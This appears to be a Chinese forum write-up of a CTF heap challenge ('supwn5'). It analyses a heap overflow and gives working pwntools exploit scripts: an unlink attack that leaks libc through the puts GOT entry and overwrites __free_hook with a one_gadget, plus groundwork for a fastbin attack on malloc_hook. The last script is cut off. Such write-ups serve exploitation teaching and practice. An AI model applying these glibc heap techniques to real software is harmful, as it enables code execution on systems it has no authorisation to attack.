本人在做堆题时经常遇到一些思路特别怪的套路,自己不看 exp 基本永远想不到,看完后先是一脸蒙,经过调试就恍然大悟.奥~~ 还能这么玩,所以通过这个系列记录一下

在 fastbin 中,大多数时候修改成可利用的 fd 很考验堆的构造能力,下边就以该题作为模板(题有点古老了,但这确实是我找的最合适的题目)

漏洞简要分析及unlink exp

师傅已经说的很清楚了,咱就直接分析漏洞吧

unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, buf[v1], 0x100uLL);     //溢出
  }
  return __readfsqword(0x28u) ^ v2;
}

很明显,直接能输入 0x100 字节,堆溢出. checksec 一下,一看没开 pie

> checksec supwn5 
[*] '/home/pic/\xe6\xa1\x8c\xe9\x9d\xa2/11\xe6\x9c\x88\xe6\x96\x87\xe7\xab\xa0/supwn5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以直接 unlink ,实在有点好用, unlink 的 exp

from pwn import *
p = process('./supwn5')
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
    p.sendlineafter('please chooice :\n','1')
    p.sendlineafter('please input the size : \n',str(size))
def free(ind):
    p.sendlineafter('please chooice :\n','2')
    p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
    p.sendlineafter('please chooice :\n','4')
    p.sendlineafter('which one do you want modify :\n',str(ind))
    p.sendafter('please input the content',content)


new(0x80)
new(0x80)
new(1)
payload = p64(0)+p64(0x81)+p64(0x06020C0-24)+p64(0x06020C0-16)
payload = payload.ljust(0x80)
payload+=p64(0x80)+p64(0x90)
edit(0,payload)
free(1)
pay = p64(0)*3+p64(elf.got['puts'])+p64(0x06020C0-24)*5
edit(0,pay)
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n','0')
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['puts']
print hex(libc_base)
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = p64(0)*3+p64(free_hook)+p64(0x06020C0-24)*5
edit(1,pay)
gdb.attach(p)
one=libc_base+0x4526a
edit(0,p64(one))
free(1)
p.interactive()

常规思路 unlink 到 bss 端直接指那打哪,但是能溢出这么多字节就利用个 off-by-one 觉得有点可惜,就想用点别的思路来做

fd 到 malloc_hook-0x23

Arbitrary Alloc

from pwn import *
elf = ELF("./supwn5", checksec=False)
libc = elf.libc
#context.log_level = "debug"
def new(size):
    p.sendlineafter('please chooice :\n','1')
    p.sendlineafter('please input the size : \n',str(size))
def free(ind):
    p.sendlineafter('please chooice :\n','2')
    p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
    p.sendlineafter('please chooice :\n','4')
    p.sendlineafter('which one do you want modify :\n',str(ind))
    p.sendafter('please input the content',content)
def show(ind):
    p.sendlineafter('please chooice :\n','3')
    p.sendlineafter('which node do you want to show\n',str(ind))

i=0
while(i<10):
    p=process('./supwn5',aslr=2)
    new(0x80)
    new(1)
    free(0)
    new(0x80)
    show(0)
    p.recvuntil('the content is : \n')
    leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
    base = leak-3951480
    print hex(base)
    i=i+1
    p.close()

通过上述的小脚本跑一下该程序,会发现 so 的基地址在最高字节均为0x7f,这也就是修改 malloc_hook 为 fd 的基础

提前说明,本篇脚本均完成到了 malloc 到了 malloc_hook ,填入 one_gadget 过程实在有点玄学,各种环境难免保证一样,各位可以自己向下研究利用.上 exp

from pwn import *
点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖